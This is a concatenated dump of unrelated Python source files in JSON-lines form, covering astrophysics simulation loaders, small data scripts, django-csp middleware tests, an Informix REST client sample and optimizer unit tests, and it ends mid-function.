self.fluids:\n fl = self.fluids[fluid_name]\n monitor_dir = os.path.join(self.data_dir, \"monitor\", fluid_name)\n monitor_files = os.listdir(monitor_dir)\n for name_pattern, info in vars_scalar.items():\n for n in range(len(self.planets)):\n datafile = os.path.join(monitor_dir,\n info[\"file\"].format(n))\n varname = name_pattern.format(n)\n if os.path.exists(datafile):\n fl.register_variable(\n varname, \"scalar\",\n ScalarLoader(varname, datafile, info, self))\n if not \"for each planet\" in info or not info[\n \"for each planet\"]:\n break\n\n def get_domain_size(self):\n self.Nphi, self.Nr = loadNcells(self.data_dir)\n\n def load_times(self):\n self.output_times = loadCoarseOutputTimes(self.data_dir,\n self.units[\"time\"])\n self.fine_output_times = loadFineOutputTimes(self.data_dir,\n self.units[\"time\"])\n\n def get_output_time(self, n):\n return self.output_times[n]\n\n def get_fine_output_time(self, n):\n rv = self.fine_output_times[n]\n return rv\n\n def get_units(self):\n self.units = loadUnits(self.data_dir)\n\n\nclass FieldLoader2d(interface.FieldLoader):\n def load_time(self, n, *args, **kwargs):\n if n is None:\n rv = self.loader.output_times\n else:\n if \"stride\" in kwargs.keys():\n n /= kwargs[\"stride\"]\n n = int(n)\n rv = self.loader.get_output_time(n)\n return rv\n\n def load_data(self, n):\n unit = self.info[\"unit\"]\n Nr = self.loader.Nr #+ (1 if \"interfaces\" in self.info and \"r\" in self.info[\"interfaces\"] else 0)\n Nphi = self.loader.Nphi #+ (1 if \"interfaces\" in self.info and \"phi\" in self.info[\"interfaces\"] else 0)\n rv = np.fromfile(self.loader.data_dir +\n \"/\" + self.info[\"pattern\"].format(n)).reshape(\n Nr, Nphi) * unit\n return rv\n\n def load_grid(self, n):\n r_i = np.genfromtxt(self.loader.data_dir + \"/domain_y.dat\"\n )[3:-3] * self.loader.units[\"length\"]\n # account for Fargo3d not writing out last radial interface\n if \"interfaces\" in self.info and \"r\" in self.info[\"interfaces\"]:\n r_i = r_i[:-1]\n phi_i = np.genfromtxt(self.loader.data_dir +\n \"/domain_x.dat\") * u.Unit(\"rad\")\n active_interfaces = self.info[\n \"interfaces\"] if \"interfaces\" in self.info else []\n g = grid.PolarGrid(r_i=r_i,\n phi_i=phi_i,\n active_interfaces=active_interfaces)\n return g\n\n\nclass FieldLoader1d(interface.FieldLoader):\n def load_time(self, n):\n if n is None:\n rv = self.loader.fine_output_times\n else:\n rv = self.loader.get_fine_output_time(n)\n return rv\n\n def load_data(self, n):\n unit = self.info[\"unit\"]\n Nr = self.loader.Nr #+ (1 if \"interfaces\" in self.info and \"r\" in self.info[\"interfaces\"] else 0)\n Nphi = self.loader.Nphi #+ (1 if \"interfaces\" in self.info and \"phi\" in self.info[\"interfaces\"] else 0)\n if self.info[\"directions\"] == [\"r\"]:\n N = Nr\n elif self.info[\"directions\"] == [\"phi\"]:\n N = Nphi\n else:\n raise ValueError(\n \"Trying to construct 1d field but direction is not given. Info = '{}'\"\n .format(self.info))\n datafile = self.info[\"datafile\"]\n rv = np.fromfile(datafile, count=N, offset=n * N * 8) * unit\n return rv\n\n def load_grid(self, n):\n r_i = np.genfromtxt(self.loader.data_dir + \"/domain_y.dat\"\n )[3:-3] * self.loader.units[\"length\"]\n # account for Fargo3d not writing out last radial interface\n if \"interfaces\" in self.info and \"r\" in self.info[\"interfaces\"]:\n r_i = r_i[:-1]\n phi_i = np.genfromtxt(self.loader.data_dir +\n \"/domain_x.dat\") * u.Unit(\"rad\")\n active_interfaces = self.info[\n \"interfaces\"] if \"interfaces\" in self.info else []\n kwargs = {}\n for d in [\"r\", \"phi\"]:\n if d in self.info[\"directions\"]:\n kwargs[d + \"_i\"] = locals()[d + \"_i\"]\n kwargs[\"active_interfaces\"] = active_interfaces\n g = grid.PolarGrid(**kwargs)\n return g\n\n\nclass ScalarLoader:\n def __init__(self, name, datafile, info, loader, *args, **kwargs):\n self.loader = loader\n self.datafile = datafile\n self.info = info\n self.name = name\n self.units = loader.units\n\n def __call__(self):\n time = self.load_time()\n data = self.load_data()\n f = scalar.Scalar(time, data, name=self.name)\n return f\n\n def load_data(self):\n col = self.info[\"datacol\"]\n unit = self.info[\"unit\"]\n rv = np.genfromtxt(self.datafile, usecols=int(col)) * unit\n return rv\n\n def load_time(self):\n col = self.info[\"timecol\"]\n unit = self.units[\"time\"]\n rv = np.genfromtxt(self.datafile, usecols=int(col)) * unit\n return rv\n\n\ndef loadCoarseOutputTimes(dataDir, unit):\n # search all summary.dat files for the time\n outputTimes = []\n pattern = re.compile('OUTPUT [0-9]* at simulation time ([0-9\\.eE+-]*)')\n for f in sorted([f for f in os.listdir(dataDir) if 'summary' in f],\n key=lambda x: int(x[7:-4])):\n with open(os.path.join(dataDir, f), 'r') as infile:\n datastr = infile.read()\n matches = re.findall(pattern, datastr)\n try:\n outputTimes.append(float(matches[0]))\n except ValueError:\n break\n times = np.array(outputTimes)\n # fall back to reading the planet file for multifluid version\n # which is missing the summary files\n #times = np.genfromtxt( os.path.join(dataDir, 'planet0.dat'))[:,8]\n #times = times*unit\n # correct for double entries in the planet file\n return times * unit\n\n\ndef loadFineOutputTimes(dataDir, unit):\n numbers = find_summary_numbers(dataDir)\n times = np.array([])\n for n in numbers:\n params = getParamsFromNthSummary(dataDir, n)\n dt = params[\"dt\"]\n Ninterm = params[\"ninterm\"]\n offset = 0 if len(times) == 0 else times[-1]\n new_times = np.arange(1, Ninterm + 1) * dt + offset\n times = np.append(times, new_times)\n times = times * unit\n return times\n\n\ndef getParamFromSummary(dataDir, param):\n return getParamsFromNthSummary(\n dataDir, find_first_summary_number(dataDir))[param.lower()]\n\n\ndef getParamsFromNthSummary(dataDir, n):\n # parse the Nth summary file to get all\n search_active = False\n parameters = {}\n with open(os.path.join(dataDir, \"summary{}.dat\".format(n))) as f:\n for line in f:\n line = line.strip()\n if not search_active:\n # look for the parameter section identifier\n if line == \"PARAMETERS SECTION:\":\n search_active = True\n continue\n if line == \"\" or line[0] in [\"#\", \"=\"]:\n continue\n if line.startswith(\"*** Input file: \"):\n parameters[\"config path\"] = line.split(\":\")[-1].strip()\n break\n parts = [s.strip() for s in line.split()]\n try:\n val = int(parts[1])\n except ValueError:\n try:\n val = float(parts[1])\n except ValueError:\n val = parts[1]\n parameters[parts[0].lower()] = val\n return parameters\n\n\ndef loadRadius(dataDir, unit, interface=False):\n r = np.genfromtxt(os.path.join(dataDir, 'domain_y.dat')) * unit\n r = r[3:-3] #remove ghost cells\n dr = r[1:] - r[:-1]\n if not interface:\n r = 0.5 * (r[1:] + r[:-1])\n return (r, dr)\n\n\ndef loadPhi(dataDir, interface=False):\n #phiMin, phiMax, Nphi = np.genfromtxt(os.path.join(dataDir, 'dimensions.dat'), usecols=(0,1,6))\n #phi = np.linspace(phiMin, phiMax, Nphi)\n phi = np.genfromtxt(os.path.join(dataDir, 'domain_x.dat'))\n if not interface:\n phi = 0.5 * (phi[1:] + phi[:-1])\n return phi\n\n\ndef loadMeshGrid(dataDir, unit):\n # return a meshgrid for the disk to plot data\n R, Phi = loadMeshGridPolar(dataDir, unit)\n X = R * np.cos(Phi)\n Y = R * np.sin(Phi)\n return (X, Y)\n\n\ndef loadMeshGridPolar(dataDir, unit):\n phi = loadPhi(dataDir)\n r, dr = loadRadius(dataDir, unit)\n Phi, R = np.meshgrid(phi, r)\n return (R, Phi)\n\n\ndef loadUnits(dataDir):\n ### load data units\n first_summary = os.path.join(dataDir, find_first_summary(dataDir))\n if os.path.exists(first_summary):\n ptrn = \"COMPILATION OPTION SECTION:\\n==============================\\n.*\\-DCGS.*\\nGhost\"\n with open(first_summary, 'r') as infile:\n if re.search(ptrn, infile.read()):\n # have cgs units\n units = {\n \"mass\": u.g,\n \"time\": u.s,\n \"length\": u.cm,\n \"temperature\": u.K\n }\n return units\n\n # Try to extract unit normalisation from summary\n units = {}\n units[\"mass\"] = 1.0\n units[\"time\"] = 1.0\n units[\"length\"] = 1.0\n\n with open(first_summary, 'r') as infile:\n ptrn = \"(?<=R0 = \\()\\d+.\\d+\"\n m = re.search(ptrn, infile.read())\n if m:\n units[\"length\"] *= float(m.group()[0])\n\n with open(first_summary, 'r') as infile:\n ptrn = \"(?<=MSTAR = \\()\\d+.\\d+\"\n m = re.search(ptrn, infile.read())\n if m:\n units[\"mass\"] *= float(m.group())\n\n with open(first_summary, 'r') as infile:\n ptrn = r\"STEFANK =.*\\*pow\\(\\(\\d+\\.\\d+\\)\\/\\((\\d+\\.*\\d*\\*\\d+\\.\\d*\\w+\\d*)\\),-0\\.5\"\n m = re.search(ptrn, infile.read())\n if m:\n components = m.group(1).split('*')\n units[\"length\"] *= float(components[0]) * float(\n components[1]) * u.cm\n\n with open(first_summary, 'r') as infile:\n ptrn = r\"STEFANK =.*\\*pow\\(\\(\\d+\\.\\d*\\)\\/(\\d+\\.\\d*\\w+\\d*),-1\\.5\\)\\*\"\n m = re.search(ptrn, infile.read())\n if m:\n components = m.group(1).split('*')\n units[\"mass\"] *= float(m.group(1)) * u.g\n units[\"time\"] = (np.sqrt(units[\"length\"]**3 /\n (const.G.cgs * units[\"mass\"]))).to(u.s)\n\n return units\n # now try units file\n # try:\n # units = {l[0] : float(l[1])*u.Unit(l[2]) for l in\n # [l.split() for l in open(os.path.join(dataDir,'units.dat'),'r')\n # if l.split()[0] != '#' and len(l.split())==3]}\n # ### fix temperature unit\n # units['temperature'] = 1*u.K\n # except FileNotFoundError:\n # Fall back to default units\n # units = { 'mass' : u.solMass, 'time' : 5.2**1.5*u.yr/(2*np.pi), 'length' : 5.2*u.au }\n # Fall back to dimensionless units\n #units = { bu : 1 for bu in ['mass', 'time', 'length'] }\n\n\ndef loadNcells(dataDir):\n # Nphi, Nr = np.genfromtxt(os.path.join(dataDir, 'dimensions.dat'), usecols=(6,7), dtype=int)\n Nphi = int(getParamFromSummary(dataDir, \"Nx\"))\n Nr = int(getParamFromSummary(dataDir, \"Ny\"))\n return (Nphi, Nr)\n\n\ndef load1dRadialMonitorRaw(n, dataFile, Ncells, unit):\n # load data by first seeking the right position\n # and then reading Nrad floats\n f = open(dataFile, \"rb\") # reopen the file\n f.seek(n * Ncells * 8, os.SEEK_SET) # seek\n v = np.fromfile(f, dtype=np.float64, count=Ncells)\n f.close()\n v = v * unit\n return v\n\n\ndef load1dRadialMonitorDensity(n, dataFile, r, dr, unit):\n # Fargo3d outputs monitor variables as the integral over Phi\n # Correct this by computing the density\n rv = load1dRadialMonitorRaw(n, dataFile, len(r), unit)\n rv = rv / np.pi / ((r + dr / 2)**2 - (r - dr / 2)**2)\n return rv\n\n\ndef load1dRadialDensityAveragedFrom2d(n, dataFilePattern, Nr, Nphi, r, dr,\n unit):\n rv = load1dRadialAveragedFrom2d(n, dataFilePattern, Nr, Nphi, unit)\n # make it a 2d density\n rv = rv / np.pi / ((r + dr / 2)**2 - (r - dr / 2)**2)\n return rv\n\n\ndef load1dRadialAveragedFrom2d(n, dataFilePattern, Nr, Nphi, unit):\n # Load 2d data and average over the azimuthal domain\n data = load2d(n, dataFilePattern, Nr, Nphi, unit)\n rv = np.mean(data, axis=1)\n return rv\n\n\ndef load2d(n, dataFilePattern, Nr, Nphi, unit):\n # Load 2d data an reshape it\n rv = np.fromfile(dataFilePattern.format(n)).reshape(Nr, Nphi) * unit\n return rv\n","sub_path":"src/simdata/loaders/fargo3dmultifluid.py","file_name":"fargo3dmultifluid.py","file_ext":"py","file_size_in_byte":27127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"505301133","text":"import re\n\np = re.compile('\\[File[^\\|]+')\np2 = re.compile('\\[ファイル[^\\|]+')\nline = open(\"igirisu.txt\").read()\nm = re.findall(p,line)\nfor i in m:\n i = i.lstrip(\"[File:\")\n print(i)\nm = re.findall(p2,line)\nfor i in m:\n i = i.lstrip(\"[ファイル:\")\n print(i)","sub_path":"ando/chapter03/knock24.py","file_name":"knock24.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"361549475","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 27 09:54:04 2020\r\n\r\n@author: xixiu\r\n\"\"\"\r\n\r\nimport cv2 as cv\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_pyrolysis_front(img):\r\n img = cv.imread(img)\r\n \r\n img = img[400:800, :, :]\r\n # img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\r\n # (T, img) = cv.threshold(img, 10, 255, cv.THRESH_BINARY)\r\n \r\n a = []\r\n \r\n def on_EVENT_LBUTTONDOWN(event, x, y, flags, param):\r\n if event == cv.EVENT_LBUTTONDOWN:\r\n xy = \"%d,%d\" % (x, y)\r\n a.append(x)\r\n cv.circle(img, (x, y), 1, (0, 0, 255), thickness=-1)\r\n cv.putText(img, xy, (x, y), cv.FONT_HERSHEY_PLAIN,\r\n 1.0, (0, 0, 255), thickness=1)\r\n cv.imshow(\"image\", img)\r\n cv.destroyAllWindows()\r\n \r\n cv.namedWindow(\"image\")\r\n cv.setMouseCallback(\"image\", on_EVENT_LBUTTONDOWN)\r\n cv.imshow(\"image\", img)\r\n cv.waitKey(0)\r\n return a\r\n\r\na = get_pyrolysis_front('0321-S4C3.jpg')","sub_path":"FlameMeasuresforSIBAL/find_informations_of_images.py","file_name":"find_informations_of_images.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"165539771","text":"from __future__ import division;\nimport numpy as np;\nimport os;\n\n#-------#\n# Input #\n#-------#\nrunName = \"../cristobaliteTest\";\nfirst = 0;\nlast = 800;\n\n#-----------#\n# Functions #\n#-----------#\n\n#reading file into 2D list of strings\ndef readDatafile(filename, separator):\n\tinfile = open(filename, \"r\");\n\tout = [];\n\tfor line in infile:\n\t\tout.append(line.split(separator));\n\t#end\n\tinfile.close();\n\treturn out;\n#end\n\n#------#\n# Main #\n#------#\n#Read rcut, size and processors from data file\ndatafilename = runName + \"/init/data.dat\";\ndata = readDatafile(datafilename, \" \");\npx = int(data[0][0]);\npy = int(data[0][1]);\npz = int(data[0][2]);\nsx = float(data[1][0]);\nsy = float(data[1][1]);\nsz = float(data[1][2]);\nrcut = float(data[2][0]);\n#Calculate Lx, Ly, Lz for each processor\nprocs = px*py*pz;\ns = np.array([sx, sy, sz]);\np = np.array([px, py, pz]);\n#Number of cells\nc = np.floor(s/rcut);\n#Size of cells\nb = s/c;\n#Number of cells in each processor\nn = c//p;\n#Number of processors with one extra cell\nm = c%p;\n#Size of processors\nL = n*b;\n#Processor extra cell boundary\nB = m*(L + b);\n\n#Coordinates of processors\nR = np.zeros([procs, 3]);\nfor rank in range(0, procs):\n\t#Finding x, y, z latice positions of processes\n\ti = rank%px;\n\tj = (rank//px)%py;\n\tk = rank//(px*py);\n\tlr = np.array([i, j, k]);\n\tfor d in range(0, 3):\n\t\tif(lr[d] > m[d]):\n\t\t\tR[rank, d] = B[d] + (lr[d] - m[d])*L[d];\n\t\telse:\n\t\t\tR[rank, d] = lr[d]*(L[d] + b[d]);\n\t\t#end\n\t#end\n#end\n\nfor i in range(first, last + 1):\n\tdirname = runName + (\"/%05d\"%i);\n\t#Make sure directory exists\n\tif(not os.path.exists(dirname)):\n\t\tcontinue;\n\t#end\n\t#Finding number of particles\n\tN = 0;\n\tfor rank in range(0, procs):\n\t\tfilename = dirname + (\"/%03d.xyz\"%rank);\n\t\tpfile = open(filename, \"r\");\n\t\tN += int(float(pfile.readline()));\n\t\tpfile.close();\n\t#end\n\tcombinedFilename = dirname + \"/combined.xyz\";\n\tcombinedFile = open(combinedFilename, \"w\");\n\tcombinedFile.write(str(N) + \"\\n\\n\");\n\tfor rank in range(0, procs):\n\t\tfilename = dirname + (\"/%03d.xyz\"%rank);\n\t\tpfile = open(filename, \"r\");\n\t\t#Toss away comment and number of particles\n\t\tpfile.readline(); pfile.readline();\n\t\tfor line in pfile:\n\t\t\tlinesplit = line.split(\" \");\n\t\t\tt = linesplit[0];\n\t\t\tr = linesplit[1:4];\n\t\t\trest = linesplit[4:];\n\t\t\t#Convert from local to global coordinates\n\t\t\tfor d in range(0, 3):\n\t\t\t\tr[d] = str(float(r[d]) + R[rank, d]);\n\t\t\t#end\n\t\t\tcombinedFile.write(\" \".join([t, \" \".join(r), \" \".join(rest)]));\n\t\t#end\n\t\tpfile.close();\n\t#end\n\tcombinedFile.close();\n#end\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"clayff/pythonScripts/combineProcs.py","file_name":"combineProcs.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"255903892","text":"import logging\nimport datetime\nimport sys\n#import tensorflow as tf\n\ndef setup_logger(name):\n now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n formatter = logging.Formatter(fmt='%(asctime)s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n handler = logging.FileHandler('log/{}.log'.format(now), mode='w')\n handler.setFormatter(formatter)\n\n screen_handler = logging.StreamHandler(stream=sys.stdout)\n screen_handler.setFormatter(formatter)\n\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n logger.addHandler(screen_handler)\n\n return logger\n\n# class Logger(object):\n# \"\"\"Tensorboard logger.\"\"\"\n\n# def __init__(self, log_dir):\n# \"\"\"Initialize summary writer.\"\"\"\n# self.writer = tf.summary.FileWriter(log_dir)\n\n# def scalar_summary(self, tag, value, step):\n# \"\"\"Add scalar summary.\"\"\"\n# summary = tf.Summary(value=[tf.Summary.Value(tag=tag, simple_value=value)])\n# self.writer.add_summary(summary, step)\n\n# def close(self):\n# self.writer.export_scalars_to_json(\"./all_scalars.json\")\n# self.writer.close()","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"531735852","text":"from django.http import HttpResponse, HttpResponseServerError\nfrom django.test import RequestFactory\nfrom django.test.utils import override_settings\n\nfrom csp.middleware import CSPMiddleware\n\n\nHEADER = 'Content-Security-Policy'\nmw = CSPMiddleware()\nrf = RequestFactory()\n\n\ndef test_add_header():\n request = rf.get('/')\n response = HttpResponse()\n mw.process_response(request, response)\n assert HEADER in response\n\n\ndef test_exempt():\n request = rf.get('/')\n response = HttpResponse()\n response._csp_exempt = True\n mw.process_response(request, response)\n assert HEADER not in response\n\n\n@override_settings(CSP_EXCLUDE_URL_PREFIXES=('/inlines-r-us'))\ndef text_exclude():\n request = rf.get('/inlines-r-us/foo')\n response = HttpResponse()\n mw.process_response(request, response)\n assert HEADER not in response\n\n\n@override_settings(CSP_REPORT_ONLY=True)\ndef test_report_only():\n request = rf.get('/')\n response = HttpResponse()\n mw.process_response(request, response)\n assert HEADER not in response\n assert HEADER + '-Report-Only' in response\n\n\ndef test_dont_replace():\n request = rf.get('/')\n response = HttpResponse()\n response[HEADER] = 'default-src example.com'\n mw.process_response(request, response)\n assert response[HEADER] == 'default-src example.com'\n\n\ndef test_use_config():\n request = rf.get('/')\n response = HttpResponse()\n response._csp_config = {'default-src': ['example.com']}\n mw.process_response(request, response)\n assert response[HEADER] == 'default-src example.com'\n\n\ndef test_use_update():\n request = rf.get('/')\n response = HttpResponse()\n response._csp_update = {'default-src': ['example.com']}\n mw.process_response(request, response)\n assert response[HEADER] == \"default-src 'self' example.com\"\n\n\n@override_settings(CSP_IMG_SRC=['foo.com'])\ndef test_use_replace():\n request = rf.get('/')\n response = HttpResponse()\n response._csp_replace = {'img-src': ['bar.com']}\n mw.process_response(request, response)\n assert response[HEADER] == \"default-src 'self'; img-src bar.com\"\n\n\n@override_settings(DEBUG=True)\ndef test_debug_exempt():\n request = rf.get('/')\n response = HttpResponseServerError()\n mw.process_response(request, response)\n assert HEADER not in response\n","sub_path":"csp/tests/test_middleware.py","file_name":"test_middleware.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"377806913","text":"import json\nimport requests\n\n##\n# Python sample application: connecting to Informix using REST\n##\n\n# Topics\n# 1 Inserts\n# 1.1 Insert a single document to a collection\n# 1.2 Insert multiple documents to a collection\n# 2 Queries\n# 2.1 Find all documents in a collection\n# 2.2 Find documents in a collection that match a query condition\n# 2.3 Add a projection clause to a query\n# 2.4 Find documents in a collection and retrieve using a cursor\n# 3 Update documents in a collection\n# 4 Delete documents in a collection\n# 5 Get a listing of collections\n# 6 Drop a collection\n# 7 Run a command\n\n### Connection information ###\nbaseUrl=\"http://localhost:8080\"\ndbname=\"test\"\nbaseDbUrl=baseUrl + \"/\" + dbname\nauthInfo=('user','pass')\ncookieName=\"informixRestListener.sessionId\"\n\ndef printError(message, reply):\n print(\"Error: \" + message)\n print(\"status code: \" + str(reply.status_code))\n print(\"content: \" + str(reply.content))\n\nprint(\"# 1 Inserts\")\nprint(\"# 1.1 Insert a single document to a collection\")\ndata = json.dumps({'firstName':'Luke', 'lastName':'Skywalker', 'age': 34})\nreply = requests.post(baseDbUrl+\"/people\", data, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"inserted \" + str(doc.get('n')) + \" documents\")\nelse:\n printError(\"Unable to insert document\", reply)\n\nprint(\"# 1.2 Insert multiple documents to a collection\")\ndata = json.dumps([{'firstName':'Leia', 'lastName':'Skywalker', 'age': 34}, {'firstName':'Anakin', 'lastName':'Skywalker', 'age': 55} ] )\nreply = requests.post(baseDbUrl+\"/people\", data, auth=authInfo)\nif reply.status_code == 202:\n doc = reply.json()\n print(\"inserted \" + str(doc.get('n')) + \" documents\")\nelse:\n printError(\"Unable to insert multiple documents\", reply)\n\nprint(\"# 2 Queries\")\nprint(\"# 2.1 Find all documents in a collection\")\nreply = requests.get(baseDbUrl+\"/people\", None, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"query result: \" + str(doc))\nelse:\n printError(\"Unable to query documents in collection\", reply)\n\nprint(\"# 2.2 Find documents in a collection that match a query condition\")\nquery = json.dumps({'firstName':'Luke'})\nreply = requests.get(baseDbUrl+\"/people?query=\" + query, None, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"query result: \" + str(doc))\nelse:\n printError(\"Unable to query documents in collection\", reply)\n\nprint(\"# 2.3 Add a projection clause to a query\")\nprojection = json.dumps({'firstName':1, 'age': 1, '_id':0})\nreply = requests.get(baseDbUrl+\"/people?fields=\" + projection, None, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"query result: \" + str(doc))\nelse:\n printError(\"Unable to query documents in collection\", reply)\n\nprint(\"# 2.4 Find documents in a collection and retrieve using a cursor\")\nprojection = json.dumps({'colname':1, 'tabid': 1, 'coltype':1})\nreply = requests.get(baseDbUrl+\"/syscolumns?fields=\" + projection, None, auth=authInfo)\nif reply.status_code == 200:\n fetchNum = 1\n cursor_id = reply.headers['cursorid']\n cookies = dict()\n cookies[cookieName]=reply.cookies[cookieName]\n headers = {'cursorid':cursor_id}\n print (\"reply headers: \" + str(reply.headers))\n print (\"cursor id: \" + cursor_id)\n print (\"cookies = \" + str(cookies))\n print (\"fetch \" + str(fetchNum) + \": \" + str(reply.json()))\n moreRows = (cursor_id != 0)\n while (moreRows):\n reply = requests.get(baseDbUrl+\"/syscolumns?fields=\" + projection, None, headers=headers,cookies=cookies)\n fetchNum += 1\n print (\"fetch \" + str(fetchNum) + \": \" + str(reply.json()))\n if reply.status_code == 200:\n moreRows = reply.headers.get('cursorid') != None\n else : \n moreRows = False\n printError(\"Unable to get more documents from a cursor\", reply) \nelse:\n printError(\"Unable to query documents in collection using a cursor\", reply)\n\nprint(\"# 3 Update documents in a collection\")\nquery = json.dumps({'firstName': 'Luke'})\ndata = json.dumps({'$set' : {'age' : 35} })\nreply = requests.put(baseDbUrl+\"/people?query=\" + query, data, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"updated \" + str(doc.get('n')) + \" documents\")\nelse:\n printError(\"Unable to update documents in collection\", reply)\n\nprint(\"# 4 Delete documents in a collection\")\nquery = json.dumps({'age': { '$gt': 50} })\nreply = requests.delete(baseDbUrl+\"/people?query=\" + query, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"deleted \" + str(doc.get('n')) + \" documents\")\nelse:\n printError(\"Unable to delete documents in collection\", reply)\n\nprint(\"# 5 Get a listing of collections\")\nreply = requests.get(baseDbUrl)\nif reply.status_code == 200:\n doc = reply.json()\n dbList = \"\"\n for db in doc:\n dbList += \"\\'\" + db + \"\\' \"\n print(\"Collections: \" + str(dbList))\nelse:\n printError(\"Unable to retrieve collection listing\", reply)\n \nprint(\"# 6 Drop a collection\")\nreply = requests.delete(baseDbUrl+\"/people\", auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"delete collection result: \" + str(doc))\nelse:\n printError(\"Unable to drop collection\", reply)\n\nprint(\"# 7 Run a command\")\ncommand = json.dumps({'dbStats':1})\nreply = requests.get(baseDbUrl+\"/$cmd?query=\" + command, None, auth=authInfo)\nif reply.status_code == 200:\n doc = reply.json()\n print(\"command result: \" + str(doc))\nelse:\n printError(\"Unable to run command\", reply)\n","sub_path":"python/rest/HelloGalaxy/HelloWorld.py","file_name":"HelloWorld.py","file_ext":"py","file_size_in_byte":5535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"485407334","text":"import re\n\n\ndef main(file_text):\n cases = file_text.splitlines()\n cases = cases[1:] # drop the first line with row count\n i = 0\n text = ''\n for sentence in cases:\n i += 1\n words = sentence.split()\n words.reverse()\n text += 'Case #' + str(i) + ': ' + ' '.join(words) + '\\n'\n\n return text\n\nif __name__ == '__main__':\n inputs = ['this is a test', 'foobar', 'all your base']\n # main(inputs)\n open('B-small-practice.out', 'w').write(\n main(open('B-small-practice.in', 'r').read())\n )\n\n open('B-large-practice.out', 'w').write(\n main(open('B-large-practice.in', 'r').read())\n )","sub_path":"ReverseWords/ReverseWords.py","file_name":"ReverseWords.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"113598663","text":"from datetime import datetime\nfrom sectionize import pdf_to_text, parse\nimport glob\nimport logging\n\ndef just_pdf2text():\n \"\"\"\n Hmm. With 115 dockets, this finished in 3 seconds, for .026 seconds per docket.\n this suggests that the problem is not the pdf2text, but in text2stitched. :(\n \"\"\"\n print(\"Testing time of pdf to text.\")\n directory = \"./testDocs/test_two/pdfs/*.pdf\"\n iter = glob.iglob(directory)\n start = datetime.now()\n counter = 0\n for file in iter:\n pdf_to_text(file)\n counter += 1\n end = datetime.now()\n print(\"Finished.\")\n duration = (end-start).seconds\n print(\"Processed {} dockets in {} seconds.\".format(counter, duration))\n print(\"{} seconds per docket.\".format(duration/counter))\n print(\"Thanks for playing our game.\")\n\ndef just_parse():\n \"\"\"\"\n This is the slow one. For 115 dockets, it took 80 seconds, or .76 seconds\n per docket. This is the stumbling block in the whole thing. Why is this\n method so slow?!\n \"\"\"\n logging.basicConfig(filename=\"parse_timing.md\", level=logging.DEBUG)\n logging.info(\"pdf2text_time, create_grammar_time, parse_grammar_time, node_visitor_time\")\n print(\"Testing time of parse(), which includes pdf2text.\")\n directory = \"./testDocs/test_two/pdfs/*.pdf\"\n iter = glob.iglob(directory)\n start = datetime.now()\n counter = 0\n for file in iter:\n parse(file)\n counter += 1\n end = datetime.now()\n print(\"Finished.\")\n duration = (end-start).seconds\n print(\"Processed {} dockets in {} seconds.\".format(counter, duration))\n print(\"{} seconds per docket.\".format(duration/counter))\n print(\"Thanks for playing our game.\")\n\njust_parse()\n\n\n","sub_path":"scripts/study_pdf2text_timing.py","file_name":"study_pdf2text_timing.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"69431867","text":"import numpy as np\n\nfrom opytimizer.core import function\nfrom opytimizer.optimizers import ba\nfrom opytimizer.spaces import search\nfrom opytimizer.utils import constants\n\n\ndef test_ba_hyperparams():\n hyperparams = {\n 'f_min': 0,\n 'f_max': 2,\n 'A': 0.5,\n 'r': 0.5\n }\n\n new_ba = ba.BA(hyperparams=hyperparams)\n\n assert new_ba.f_min == 0\n\n assert new_ba.f_max == 2\n\n assert new_ba.A == 0.5\n\n assert new_ba.r == 0.5\n\n\ndef test_ba_hyperparams_setter():\n new_ba = ba.BA()\n\n try:\n new_ba.f_min = 'a'\n except:\n new_ba.f_min = 0.1\n\n try:\n new_ba.f_min = -1\n except:\n new_ba.f_min = 0.1\n\n assert new_ba.f_min == 0.1\n\n try:\n new_ba.f_max = 'b'\n except:\n new_ba.f_max = 2\n\n try:\n new_ba.f_max = -1\n except:\n new_ba.f_max = 2\n\n try:\n new_ba.f_max = 0\n except:\n new_ba.f_max = 2\n\n assert new_ba.f_max == 2\n\n try:\n new_ba.A = 'c'\n except:\n new_ba.A = 0.5\n\n try:\n new_ba.A = -1\n except:\n new_ba.A = 0.5\n\n assert new_ba.A == 0.5\n\n try:\n new_ba.r = 'd'\n except:\n new_ba.r = 0.5\n\n try:\n new_ba.r = -1\n except:\n new_ba.r = 0.5\n\n assert new_ba.r == 0.5\n\n\ndef test_ba_build():\n new_ba = ba.BA()\n\n assert new_ba.built == True\n\n\ndef test_ba_update_frequency():\n new_ba = ba.BA()\n\n frequency = new_ba._update_frequency(0, 2)\n\n assert frequency != 0\n\n\ndef 